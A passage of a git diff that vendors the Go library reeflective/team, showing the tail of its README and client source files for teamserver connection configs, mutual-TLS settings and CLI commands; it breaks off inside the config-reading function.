any case, importing and using a default + teamclient/teamserver should fit into a couple of function calls at most. +- To provide a documented code base, with a concise naming and programming model which allows equally + well to use default teamclient backends or to partially/fully reimplement different layers. + +Below is the simplest, shortest example of the above's `teamserver` binary `main()` function: +```go +// Generate a teamserver, without any specific transport/RPC backend. +// Such backends are only needed when the teamserver serves remote clients. +teamserver, err := server.New("teamserver") + +// Generate a tree of server-side commands: this tree also has client-only +// commands as a subcommand "client" of the "teamserver" command root here. +serverCmds := commands.Generate(teamserver, teamserver.Self()) + +// Run the teamserver CLI. +serverCmds.Execute() +``` + +Another slightly more complex example, involving a gRPC transport/RPC backend: +```go +// The examples directory has a default teamserver listener backend. +gTeamserver := grpc.NewListener() + +// Create a new teamserver, register the gRPC backend with it. +// All gRPC teamclients will be able to connect to our teamserver. +teamserver, err := server.New("teamserver", server.WithListener(gTeamserver)) + +// Since our teamserver offers its functionality through a gRPC layer, +// our teamclients must have the corresponding client-side RPC client backend. +// Create an in-memory gRPC teamclient backend for the server to serve itself. +gTeamclient := grpc.NewClientFrom(gTeamserver) + +// Create a new teamclient, registering the gRPC backend to it. +teamclient := teamserver.Self(client.WithDialer(gTeamclient)) + +// Generate the commands for the teamserver. +serverCmds := commands.Generate(teamserver, teamclient) + +// Run any of the commands. +serverCmds.Execute() +``` + +Some additional and preliminary/example notes about the codebase: +- All errors returned by the API are always logged before return (with configured log behavior). +- Interactions with the filesystem restrained until they need to happen. +- The default database is a pure Go file-based sqlite db, which can be configured to run in memory. +- Unless absolutely needed or specified otherwise, return all critical errors instead of log + fatal/panicking (exception made of the certificate infrastructure which absolutely needs to work + for security reasons). +- Exception made of the `teamserver daemon` command related `server.ServeDaemon` function, all API + functions and interface methods are non-blocking. Mentions of this are found throughout the + code documentation when needed. +- Loggers offered by the teamclient/server cores are never nil, and will log to both stdout (above + warning level) and to default files (above info level) if no custom logger is passed to them. + If such a custom logger is given, team clients/servers won't log to stdout or their default files. + +Please see the [example](https://github.com/reeflective/team/tree/main/example) directory for all client/server entrypoint examples. + +----- +## Documentation + +- Go code documentation is available at the [Godoc website](https://pkg.go.dev/github.com/reeflective/team). +- Client and server documentation can be found in the [directories section](https://pkg.go.dev/github.com/reeflective/team#section-directories) of the Go documentation. +- The `example/` subdirectories also include documentation for their own code, and should provide +a good introduction to this library usage. + +----- +## Differences with the Hashicorp Go plugin system + +At first glance, different and not much related to our current topic is the equally large problem of +dynamic code loading and execution for arbitrary programs. In the spectrum of major programming +languages, various approaches have been taken to tackle the dynamic linking, loading and execution +problem, with interpreted languages offering the most common solutioning approach to this. + +The Go language (and many other compiled languages that do not encourage dynamic linking for that +matter) has to deal with the problem through other means, the first of which simply being the +adoption of different architectural designs in the first place (eg. "microservices"). Another path +has been the "plugin system" for emulating the dynamic workflows of interpreted languages, of which +the most widely used attempt being the [Hashicorp plugin +system](https://github.com/hashicorp/go-plugin), which entirely rests on an (g)RPC backend. + +Consequently, differences and similarities can be resumed as follows: +- The **Hashicorp plugins only support "remote" plugins** in that each plugin must be a different + binary. Although those plugins seem to be executed "in-memory", they are not. On the contrary, + the `reeflective/team` clients and servers can (should, and will) be used both in memory and + remotely (here remotely means as a distinct subprocess: actual network location is irrelevant). +- The purpose of the `reeflective/team` library is **not** to emulate dynamic code execution behavior. + Rather, its intent is to make programs that should or might be better used as servers to several + clients to act as such easily and securely in many different scenarios. +- The **Hashicorp plugins are by essence restrained to an API problem**, and while the `team` library + is equally (but not mandatorily or exclusively) about interactive usage of arbitrary programs. +- **The Hashicorp plugin relies mandatorily (since it's built on) a gRPC transport backend**. While + gRPC is a very sensible choice for many reasons (and is therefore used for the default example + backend in `example/transports/`), the `team` library does not force library users to use a given + transport/RPC backend, nor even to use one. Again, this would be beyond the library scope, but + what is in scope is the capacity of this library to interface with or use different transports. +- Finally, the Hashicorp plugins are not aware of any concept of users as they are considered by + the team library, although both use certificate-based connections. However, `team` promotes and + makes easy to use mutually authenticated (Mutual TLS) connections (see the default gRPC example + backend). Related to this, teamservers integrate loggers and a database to store working data. + +----- +## Status + +The Command-Line and Application-Programming Interfaces of this library are unlikely to change +much in the future, and should be considered mostly stable. These might grow a little bit, but +will not shrink, as they been already designed to be as minimal as they could be. + +In particular, `client.Options` and `server.Options` APIs might grow, so that new features/behaviors +can be integrated without the need for the teamclients and teamservers types APIs to change. + +The section **Possible Enhancements** below includes 9 points, which should grossly be equal +to 9 minor releases (`0.1.0`, `0.2.0`, `0.3.0`, etc...), ending up in `v1.0.0`. + +- Please open a PR or an issue if you face any bug, it will be promptly resolved. +- New features and/or PRs are welcome if they are likely to be useful to most users. + +----- +## Possible enhancements + +The list below is not an indication on the roadmap of this repository, but should be viewed as +things the author of this library would be very glad to merge contributions for, or get ideas. +This teamserver library aims to remain small, with a precise behavior and role. +Overall, contributions and ideas should revolve around strenghening its core/transport code +or around enhancing its interoperability with as much Go code/programs as possible. + +- [ ] Use viper for configs. +- [ ] Use afero filesystem. +- [ ] Add support for encrypted sqlite by default. +- [ ] Encrypt in-memory channels, or add option for it. +- [ ] Simpler/different listener/dialer backend interfaces, if it appears needed. +- [ ] Abstract away the client-side authentication, for pluggable auth/credential models. +- [ ] Replace logrus entirely and restructure behind a single package used by both client/server. +- [ ] Review/refine/strenghen the dialer/listener init/close/start process, if it appears needed. +- [ ] `teamclient update` downloads latest version of the server binary + method to `team.Client` for it. + diff --git a/vendor/github.com/reeflective/team/client/client.go b/vendor/github.com/reeflective/team/client/client.go new file mode 100644 index 0000000000..44be641d80 --- /dev/null +++ b/vendor/github.com/reeflective/team/client/client.go @@ -0,0 +1,300 @@ +package client + +/* + team - Embedded teamserver for Go programs and CLI applications + Copyright (C) 2023 Reeflective + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + "os/user" + "path/filepath" + "runtime" + "sync" + + "github.com/reeflective/team" + "github.com/reeflective/team/internal/assets" + "github.com/reeflective/team/internal/version" + "github.com/sirupsen/logrus" +) + +// Client is the core driver of an application teamclient. +// It provides the core tools needed by any application/program +// to be the client of an local/remote/in-memory teamserver. +// +// This client object is by default not connected to any teamserver, +// and has therefore no way of fulfilling its core duties, on purpose. +// The client also DOES NOT include any teamserver-side code. +// +// This teamclient core job is to: +// - Fetch, configure and use teamserver endpoint configurations. +// - Drive the process of connecting to & disconnecting from a server. +// - Query a teamserver for its version and users information. +// +// Additionally, this client offers: +// - Pre-configured loggers for all client-side related events. +// - Various options to configure its backends and behaviors. +// - A builtin, abstracted and app-specific filesystem (in memory or on disk). +// +// Various combinations of teamclient/teamserver usage are possible. +// Please see the Go module example/ directory for a list of them. +type Client struct { + name string // Name of the teamclient/teamserver application. + homeDir string // APP_ROOT_DIR var, evaluated once when creating the server. + opts *opts // All configurable things for the teamclient. + fileLogger *logrus.Logger // By default, hooked to also provide stdout logging. + stdoutLogger *logrus.Logger // Fallback logger. + fs *assets.FS // Embedded or on-disk application filesystem. + mutex *sync.RWMutex // Sync access. + initOpts sync.Once // Some options can only be set once when creating the server. + + dialer Dialer // Connection backend for the teamclient. + connect *sync.Once // A client can only connect once per run. + + // Client is the implementation of the core teamclient functionality, + // which is to query a server version and its current users. + // This type is either implementated by a teamserver when the client + // is in-memory, or by a user-defined type which is generally a RPC. + client team.Client +} + +// Dialer represents a type using a teamclient core (and its configured teamserver +// remote) to setup, initiate and use a connection to this remote teamserver. +// +// The type parameter `clientConn` of this interface is a purely syntactic sugar +// to indicate that any dialer should/may return a user-defined but specific object +// from its Dial() method. Library users can register hooks to the teamclient.Client +// using this dialer, and this clientConn will be provided to these hooks. +// +// Examples of what this clientConn can be: +// - The clientConn is a specific, but non-idiomatic RPC client (ex: a *grpc.ClientConn). +// - A simple net.Conn over which anything can be done further. +// - Nothing: a dialer might not need to use or even create a client connection. +type Dialer interface { + // Init is used by any dialer to query the teamclient driving it about: + // - The remote teamserver address and transport credentials + // - The user registered in this remote teamserver configuration. + // - To make use of client-side loggers, filesystem and other utilities. + Init(c *Client) error + + // Dial should connect to the endpoint available in any + // of the client remote teamserver configurations. + Dial() error + + // Close should close the connection or any related component. + Close() error +} + +// New is the required constructor of a new application teamclient. +// Parameters: +// - The name of the application using the teamclient. +// - Variadic options (...Options) which are applied at creation time. +// - A type implementing the team.Client interface. +// +// Depending on constraints and use cases, the client uses different +// backends and/or RPC implementations providing this functionality: +// - When used in-memory and as a client of teamserver. +// - When being provided a specific dialer/client/RPC backend. +// +// The teamclient will only perform a few init things before being returned: +// - Setup its filesystem, either on-disk (default behavior) or in-memory. +// - Initialize loggers and the files they use, if any. +// +// This may return an error if the teamclient is unable to work with the provided +// options (or lack thereof), which may happen if the teamclient cannot use and write +// to its directories and log files. No client is returned if the error is not nil. +func New(app string, client team.Client, options ...Options) (*Client, error) { + teamclient := &Client{ + name: app, + opts: defaultOpts(), + client: client, + connect: &sync.Once{}, + mutex: &sync.RWMutex{}, + fs: &assets.FS{}, + } + + teamclient.apply(options...) + + // Filesystem (in-memory or on disk) + user, _ := user.Current() + root := filepath.Join(user.HomeDir, "."+teamclient.name) + teamclient.fs = assets.NewFileSystem(root, teamclient.opts.inMemory) + + // Logging (if allowed) + if err := teamclient.initLogging(); err != nil { + return nil, err + } + + return teamclient, nil +} + +// Connect uses the default client configurations to connect to the teamserver. +// +// This call might be blocking and expect user input: if multiple server +// configurations are found in the application directory, the application +// will prompt the user to choose one of them. +// If the teamclient was created WithConfig() option, or if passed in this +// call, user input is guaranteed NOT to be needed. +// +// It only connects the teamclient if it has an available dialer. +// If none is available, this function returns no error, as it is +// possible that this client has a teamclient implementation ready. +func (tc *Client) Connect(options ...Options) (err error) { + tc.apply(options...) + + // Don't connect if we don't have the connector. + if tc.dialer == nil { + return nil + } + + tc.connect.Do(func() { + // If we don't have a provided configuration, + // load one from disk, otherwise do nothing. + err = tc.initConfig() + if err != nil { + err = tc.errorf("%w: %w", ErrConfig, err) + return + } + + // Initialize the dialer with our client. + err = tc.dialer.Init(tc) + if err != nil { + err = tc.errorf("%w: %w", ErrConfig, err) + return + } + + err = tc.dialer.Dial() + if err != nil { + err = tc.errorf("%w: %w", ErrClient, err) + return + } + }) + + return err +} + +// Disconnect disconnects the client from the server, closing the connection +// and the client log file. Any errors are logged to this file and returned. +// If the teamclient has been passed the WithNoDisconnect() option, it won't +// disconnect. +func (tc *Client) Disconnect() error { + if tc.opts.console { + return nil + } + + // The client can reconnect.. + defer func() { + tc.connect = &sync.Once{} + }() + + if tc.dialer == nil { + return nil + } + + err := tc.dialer.Close() + if err != nil { + tc.log().Error(err) + } + + return err +} + +// Users returns a list of all users registered to the application server. +// If the teamclient has no backend, it returns an ErrNoTeamclient error. +// If the backend returns an error, the latter is returned as is. +func (tc *Client) Users() (users []team.User, err error) { + if tc.client == nil { + return nil, ErrNoTeamclient + } + + res, err := tc.client.Users() + if err != nil && len(res) == 0 { + return nil, err + } + + return res, nil +} + +// VersionClient returns the version information of the client, and thus +// does not require the teamclient to be connected to a teamserver. +// This function satisfies the VersionClient() function of the team.Client interface, +// which means that library users are free to reimplement it however they wish. +func (tc *Client) VersionClient() (ver team.Version, err error) { + if tc.client != nil { + return tc.client.VersionClient() + } + + semVer := version.Semantic() + compiled, _ := version.Compiled() + + var major, minor, patch int32 + + if len(semVer) == 3 { + major = int32(semVer[0]) + minor = int32(semVer[1]) + patch = int32(semVer[2]) + } + + return team.Version{ + Major: major, + Minor: minor, + Patch: patch, + Commit: version.GitCommit(), + Dirty: version.GitDirty(), + CompiledAt: compiled.Unix(), + OS: runtime.GOOS, + Arch: runtime.GOARCH, + }, nil +} + +// VersionServer returns the version information of the server to which +// the client is connected. +// If the teamclient has no backend, it returns an ErrNoTeamclient error. +// If the backend returns an error, the latter is returned as is. +func (tc *Client) VersionServer() (ver team.Version, err error) { + if tc.client == nil { + return ver, ErrNoTeamclient + } + + version, err := tc.client.VersionServer() + if err != nil { + return + } + + return version, nil +} + +// Name returns the name of the client application. +func (tc *Client) Name() string { + return tc.name +} + +// Filesystem returns an abstract filesystem used by the teamclient. +// This filesystem can be either of two things: +// - By default, the on-disk filesystem, without any specific bounds. +// - If the teamclient was created with the InMemory() option, a full +// in-memory filesystem (with root `.app/`). +// +// Use cases for this filesystem might include: +// - The wish to have a fully abstracted filesystem to work for testing +// - Ensuring that the filesystem code in your application remains the +// same regardless of the underlying, actual filesystem. +// +// The type returned is currently an internal type because it wraps some +// os.Filesystem methods for working more transparently: this may change +// in the future if the Go stdlib offers write support to its new io/fs.FS. +func (tc *Client) Filesystem() *assets.FS { + return tc.fs +} diff --git a/vendor/github.com/reeflective/team/client/commands/commands.go b/vendor/github.com/reeflective/team/client/commands/commands.go new file mode 100644 index 0000000000..21923a225f --- /dev/null +++ b/vendor/github.com/reeflective/team/client/commands/commands.go @@ -0,0 +1,271 @@ +package commands + +/* + team - Embedded teamserver for Go programs and CLI applications + Copyright (C) 2023 Reeflective + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + "fmt" + "io/fs" + "os" + "path/filepath" + "strings" + + "github.com/rsteube/carapace" + "github.com/rsteube/carapace/pkg/style" + "github.com/spf13/cobra" + "github.com/spf13/pflag" + + "github.com/reeflective/team/client" + "github.com/reeflective/team/internal/command" +) + +// Generate returns a command tree to embed in client applications connecting +// to a teamserver. It requires only the client to use its functions. +// +// All commands of the tree include an automatic call to client.Connect() to make +// sure they can reach the server for the stuff they need. Thus no pre-runners are +// bound to them for this purpose, and users of this command tree are free to add any. +// +// This tree is only safe to embed within closed-loop applications provided that the +// client *Client was created with WithNoDisconnect(), so that commands can reuse +// their connections more than once before closing. +func Generate(cli *client.Client) *cobra.Command { + clientCmds := clientCommands(cli) + return clientCmds +} + +// PreRun returns a cobra command runner which connects the client to its teamserver. +// If the client is connected, nothing happens and its current connection reused. +// +// Feel free to use this function as a model for your own teamclient pre-runners. +func PreRun(teamclient *client.Client, opts ...client.Options) command.CobraRunnerE { + return func(cmd *cobra.Command, args []string) error { + teamclient.SetLogWriter(cmd.OutOrStdout(), cmd.ErrOrStderr()) + + // Ensure we are connected or do it. + return teamclient.Connect(opts...) + } +} + +// PreRunNoDisconnect is a pre-runner that will connect the teamclient with the +// client.WithNoDisconnect() option, so that after each execution, the client +// connection is kept open. This pre-runner is thus useful for console apps. +// +// Feel free to use this function as a model for your own teamclient pre-runners. +func PreRunNoDisconnect(teamclient *client.Client, opts ...client.Options) command.CobraRunnerE { + return func(cmd *cobra.Command, args []string) error { + teamclient.SetLogWriter(cmd.OutOrStdout(), cmd.ErrOrStderr()) + + opts = append(opts, client.WithNoDisconnect()) + + // The NoDisconnect will prevent teamclient.Disconnect() to close the conn. + return teamclient.Connect(opts...) + } +} + +// PostRun is a cobra command runner that simply calls client.Disconnect() to close +// the client connection from its teamserver. If the client/commands was configured +// with WithNoDisconnect, this pre-runner will do nothing. +func PostRun(client *client.Client) command.CobraRunnerE { + return func(cmd *cobra.Command, _ []string) error { + return client.Disconnect() + } +} + +func clientCommands(cli *client.Client) *cobra.Command { + teamCmd := &cobra.Command{ + Use: "teamclient", + Short: "Client-only teamserver commands (import configs, show users, etc)", + SilenceUsage: true, + } + + teamFlags := pflag.NewFlagSet("teamserver", pflag.ContinueOnError) + teamFlags.CountP("verbosity", "v", "Counter flag (-vvv) to increase log verbosity on stdout (1:panic -> 7:debug)") + teamCmd.PersistentFlags().AddFlagSet(teamFlags) + + versionCmd := &cobra.Command{ + Use: "version", + Short: "Print teamserver client version", + RunE: versionCmd(cli), + } + + teamCmd.AddCommand(versionCmd) + + importCmd := &cobra.Command{ + Use: "import", + Short: fmt.Sprintf("Import a teamserver client configuration file for %s", cli.Name()), + Run: importCmd(cli), + ValidArgsFunction: func(cmd *cobra.Command, args []string, toComplete string) ([]string, cobra.ShellCompDirective) { + return []string{}, cobra.ShellCompDirectiveDefault + }, + } + + iFlags := pflag.NewFlagSet("import", pflag.ContinueOnError) + iFlags.BoolP("default", "d", false, "Set this config as the default one, if no default config exists already.") + importCmd.Flags().AddFlagSet(iFlags) + + iComps := carapace.Gen(importCmd) + iComps.PositionalCompletion( + carapace.Batch( + carapace.ActionCallback(ConfigsCompleter(cli, "teamclient/configs", ".teamclient.cfg", "other teamserver apps", true)), + carapace.ActionFiles().Tag("server configuration").StyleF(getConfigStyle(".teamclient.cfg")), + ).ToA(), + ) + + teamCmd.AddCommand(importCmd) + + usersCmd := &cobra.Command{ + Use: "users", + Short: "Display a table of teamserver users and their status", + RunE: usersCmd(cli), + } + + teamCmd.AddCommand(usersCmd) + + return teamCmd +} + +// ConfigsAppCompleter completes file paths to the current application configs. +func ConfigsAppCompleter(cli *client.Client, tag string) carapace.Action { + return carapace.ActionCallback(func(ctx carapace.Context) carapace.Action { + var compErrors []carapace.Action + + configPath := cli.ConfigsDir() + + files, err := os.ReadDir(configPath) + if err != nil { + compErrors = append(compErrors, carapace.ActionMessage("failed to list user directories: %s", err)) + } + + var results []string + + for _, file := range files { + if !strings.HasSuffix(file.Name(), command.ClientConfigExt) { + continue + } + + filePath := filepath.Join(configPath, file.Name()) + + cfg, err := cli.ReadConfig(filePath) + if err != nil || cfg == nil { + continue + } + + results = append(results, filePath) + results = append(results, fmt.Sprintf("[%s] %s:%d", cfg.User, cfg.Host, cfg.Port)) + } + + configsAction := carapace.ActionValuesDescribed(results...).StyleF(getConfigStyle(command.ClientConfigExt)) + + return carapace.Batch(append( + compErrors, + configsAction.Tag(tag), + carapace.ActionFiles())..., + ).ToA() + }) +} + +// ConfigsCompleter completes file paths to other teamserver application configs (clients/users CA, etc) +// The filepath is the directory between .app/ and the target directory where config files of a certain +// type should be found, ext is the normal/default extension for those target files, and tag is used in comps. +func ConfigsCompleter(cli *client.Client, filePath, ext, tag string, noSelf bool) carapace.CompletionCallback { + return func(ctx carapace.Context) carapace.Action { + var compErrors []carapace.Action + + homeDir, err := os.UserHomeDir() + if err != nil { + compErrors = append(compErrors, carapace.ActionMessage("failed to get user home dir: %s", err)) + } + + dirs, err := os.ReadDir(homeDir) + if err != nil { + compErrors = append(compErrors, carapace.ActionMessage("failed to list user directories: %s", err)) + } + + var results []string + + for _, dir := range dirs { + if !isConfigDir(cli, dir, noSelf) { + continue + } + + configPath := filepath.Join(homeDir, dir.Name(), filePath) + + if configs, err := os.Stat(configPath); err == nil { + if !configs.IsDir() { + continue + } + + files, _ := os.ReadDir(configPath) + for _, file := range files { + if !strings.HasSuffix(file.Name(), ext) { + continue + } + + filePath := filepath.Join(configPath, file.Name()) + + cfg, err := cli.ReadConfig(filePath) + if err != nil || cfg == nil { + continue + } + + results = append(results, filePath) + results = append(results, fmt.Sprintf("[%s] %s:%d", cfg.User, cfg.Host, cfg.Port)) + } + } + } + + configsAction := carapace.ActionValuesDescribed(results...).StyleF(getConfigStyle(ext)) + + if len(compErrors) > 0 { + return carapace.Batch(append(compErrors, configsAction)...).ToA() + } + + return configsAction.Tag(tag) + } +} + +func isConfigDir(cli *client.Client, dir fs.DirEntry, noSelf bool) bool { + if !strings.HasPrefix(dir.Name(), ".") { + return false + } + + if !dir.IsDir() { + return false + } + + if strings.TrimPrefix(dir.Name(), ".") != cli.Name() { + return false + } + + if noSelf { + return false + } + + return true +} + +func getConfigStyle(ext string) func(s string, sc style.Context) string { + return func(s string, sc style.Context) string { + if strings.HasSuffix(s, ext) { + return style.Red + } + + return s + } +} diff --git a/vendor/github.com/reeflective/team/client/commands/import.go b/vendor/github.com/reeflective/team/client/commands/import.go new file mode 100644 index 0000000000..ff470c2db5 --- /dev/null +++ b/vendor/github.com/reeflective/team/client/commands/import.go @@ -0,0 +1,61 @@ +package commands + +/* + team - Embedded teamserver for Go programs and CLI applications + Copyright (C) 2023 Reeflective + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + "encoding/json" + "fmt" + + "github.com/sirupsen/logrus" + "github.com/spf13/cobra" + + "github.com/reeflective/team/client" + "github.com/reeflective/team/internal/command" +) + +func importCmd(cli *client.Client) func(cmd *cobra.Command, args []string) { + return func(cmd *cobra.Command, args []string) { + if cmd.Flags().Changed("verbosity") { + logLevel, err := cmd.Flags().GetCount("verbosity") + if err == nil { + cli.SetLogLevel(logLevel + int(logrus.ErrorLevel)) + } + } + + if 0 < len(args) { + for _, arg := range args { + conf, err := cli.ReadConfig(arg) + if jsonErr, ok := err.(*json.SyntaxError); ok { + fmt.Fprintf(cmd.ErrOrStderr(), command.Warn+"%s\n", jsonErr.Error()) + } else if err != nil { + fmt.Fprintf(cmd.ErrOrStderr(), command.Warn+"%s\n", err.Error()) + continue + } + + if err = cli.SaveConfig(conf); err == nil { + fmt.Fprintln(cmd.OutOrStdout(), command.Info+"Saved new client config in ", cli.ConfigsDir()) + } else { + fmt.Fprintf(cmd.ErrOrStderr(), command.Warn+"%s\n", err.Error()) + } + } + } else { + fmt.Fprintln(cmd.OutOrStdout(), "Missing config file path, see --help") + } + } +} diff --git a/vendor/github.com/reeflective/team/client/commands/users.go b/vendor/github.com/reeflective/team/client/commands/users.go new file mode 100644 index 0000000000..3b7f1ca05d --- /dev/null +++ b/vendor/github.com/reeflective/team/client/commands/users.go @@ -0,0 +1,90 @@ +package commands + +/* + team - Embedded teamserver for Go programs and CLI applications + Copyright (C) 2023 Reeflective + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + "fmt" + "time" + + "github.com/jedib0t/go-pretty/v6/table" + "github.com/sirupsen/logrus" + "github.com/spf13/cobra" + + "github.com/reeflective/team/client" + "github.com/reeflective/team/internal/command" +) + +func usersCmd(cli *client.Client) func(cmd *cobra.Command, args []string) error { + return func(cmd *cobra.Command, args []string) error { + if cmd.Flags().Changed("verbosity") { + logLevel, err := cmd.Flags().GetCount("verbosity") + if err == nil { + cli.SetLogLevel(logLevel + int(logrus.ErrorLevel)) + } + } + + if err := cli.Connect(); err != nil { + return err + } + + // Server + users, err := cli.Users() + if err != nil { + fmt.Fprintf(cmd.ErrOrStderr(), command.Warn+"Server error: %s\n", err) + } + + tbl := &table.Table{} + tbl.SetStyle(command.TableStyle) + + tbl.AppendHeader(table.Row{ + "Name", + "Status", + "Last seen", + }) + + for _, user := range users { + lastSeen := user.LastSeen.Format(time.RFC1123) + + if !user.LastSeen.IsZero() { + lastSeen = time.Since(user.LastSeen).Round(1 * time.Second).String() + } + + var status string + if user.Online { + status = command.Bold + command.Green + "Online" + command.Normal + } else { + status = command.Bold + command.Red + "Offline" + command.Normal + } + + tbl.AppendRow(table.Row{ + user.Name, + status, + lastSeen, + }) + } + + if len(users) > 0 { + fmt.Fprintln(cmd.OutOrStdout(), tbl.Render()) + } else { + fmt.Fprintf(cmd.OutOrStdout(), command.Info+"The %s teamserver has no users\n", cli.Name()) + } + + return nil + } +} diff --git a/vendor/github.com/reeflective/team/client/commands/version.go b/vendor/github.com/reeflective/team/client/commands/version.go new file mode 100644 index 0000000000..2920bca8a4 --- /dev/null +++ b/vendor/github.com/reeflective/team/client/commands/version.go @@ -0,0 +1,77 @@ +package commands + +/* + team - Embedded teamserver for Go programs and CLI applications + Copyright (C) 2023 Reeflective + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + "fmt" + "time" + + "github.com/sirupsen/logrus" + "github.com/spf13/cobra" + + "github.com/reeflective/team/client" + "github.com/reeflective/team/internal/command" +) + +func versionCmd(cli *client.Client) func(cmd *cobra.Command, args []string) error { + return func(cmd *cobra.Command, args []string) error { + if cmd.Flags().Changed("verbosity") { + logLevel, err := cmd.Flags().GetCount("verbosity") + if err == nil { + cli.SetLogLevel(logLevel + int(logrus.ErrorLevel)) + } + } + + if err := cli.Connect(); err != nil { + return err + } + + // Server + serverVer, err := cli.VersionServer() + if err != nil { + fmt.Fprintf(cmd.ErrOrStderr(), command.Warn+"Server error: %s\n", err) + } + + serverVerInfo := fmt.Sprintf("Server v%d.%d.%d - %s - %s/%s\n", + serverVer.Major, serverVer.Minor, serverVer.Patch, serverVer.Commit, + serverVer.OS, serverVer.Arch) + serverCompiledAt := time.Unix(serverVer.CompiledAt, 0) + + fmt.Fprint(cmd.OutOrStdout(), command.Info+serverVerInfo) + fmt.Fprintf(cmd.OutOrStdout(), " Compiled at %s\n", serverCompiledAt) + fmt.Fprintln(cmd.OutOrStdout()) + + // Client + clientVer, err := cli.VersionClient() + if err != nil { + fmt.Fprintf(cmd.ErrOrStderr(), command.Warn+"Client error: %s\n", err) + return nil + } + + clientVerInfo := fmt.Sprintf("Client v%d.%d.%d - %s - %s/%s\n", + clientVer.Major, clientVer.Minor, clientVer.Patch, clientVer.Commit, + clientVer.OS, clientVer.Arch) + clientCompiledAt := time.Unix(clientVer.CompiledAt, 0) + + fmt.Fprint(cmd.OutOrStdout(), command.Info+clientVerInfo) + fmt.Fprintf(cmd.OutOrStdout(), " Compiled at %s\n", clientCompiledAt) + + return nil + } +} diff --git a/vendor/github.com/reeflective/team/client/config.go b/vendor/github.com/reeflective/team/client/config.go new file mode 100644 index 0000000000..daec0c59d5 --- /dev/null +++ b/vendor/github.com/reeflective/team/client/config.go @@ -0,0 +1,261 @@ +package client + +/* + team - Embedded teamserver for Go programs and CLI applications + Copyright (C) 2023 Reeflective + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + "crypto/sha256" + "crypto/tls" + "crypto/x509" + "encoding/json" + "fmt" + "io" + "os" + "path/filepath" + "sort" + + "github.com/AlecAivazis/survey/v2" + + "github.com/reeflective/team/internal/assets" + "github.com/reeflective/team/internal/certs" + "github.com/reeflective/team/internal/command" +) + +const ( + fileWriteModePerm = 0o600 +) + +// Config is a JSON client connection configuration. +// It contains the addresses of a team server, the name of the user +// allowed to connect to it, and cryptographic material to secure and +// authenticate the client-server connection (using Mutual TLS). +type Config struct { + User string `json:"user"` // This value is actually ignored for the most part (cert CN is used instead) + Host string `json:"host"` + Port int `json:"port"` + Token string `json:"token"` + CACertificate string `json:"ca_certificate"` + PrivateKey string `json:"private_key"` + Certificate string `json:"certificate"` +} + +func (tc *Client) initConfig() (err error) { + cfg := tc.opts.config + + // We assume that any configuration passed with WithConfig() + // has a non-empty user name, even if its the server itself. + if cfg.User != "" { + return nil + } + + // Else fetch the unique config or prompt user for which. + if tc.dialer != nil { + configs := tc.GetConfigs() + if len(configs) == 0 { + err = fmt.Errorf("no configs found in %s", tc.ConfigsDir()) + } else { + cfg = tc.SelectConfig() + } + } + + // We must have a config. + if cfg == nil { + if err != nil { + return fmt.Errorf("%w: %w", ErrNoConfig, err) + } + + return ErrNoConfig + } + + tc.opts.config = cfg + + return nil +} + +// GetConfigs returns a list of available configs in the application +// teamclient remote server configs directory (~/.app/teamclient/configs/). +// +// This uses the on-disk filesystem even if the teamclient is in memory mode. +func (tc *Client) GetConfigs() map[string]*Config { + configDir := tc.ConfigsDir() + + configFiles, err := os.ReadDir(configDir) + if err != nil { + tc.log().Errorf("No configs found: %s", err) + return map[string]*Config{} + } + + confs := map[string]*Config{} + + for _, confFile := range configFiles { + confFilePath := filepath.Join(configDir, confFile.Name()) + + conf, err := tc.ReadConfig(confFilePath) + if err != nil { + continue + } + + digest := sha256.Sum256([]byte(conf.Certificate)) + confs[fmt.Sprintf("%s@%s (%x)", conf.User, conf.Host, digest[:8])] = conf + } + + return confs +} + +// ReadConfig loads a client config into a struct. +// Errors are returned as is: users can check directly for JSON/encoding/filesystem errors. +// +// This uses the on-disk filesystem even if the teamclient is in memory mode. +func (tc *Client) ReadConfig(confFilePath string) (*Config, error) { + confFile, err := os.Open(confFilePath) + if err != nil { + return nil, fmt.Errorf("open failed: %w", err) + } + defer confFile.Close() + + data, err := io.ReadAll(confFile) + if err != nil { + return nil, fmt.Errorf("read failed: %w", err) + } + + conf := &Config{} + + err = json.Unmarshal(data, conf) + if err != nil { + return nil, fmt.Errorf("parse 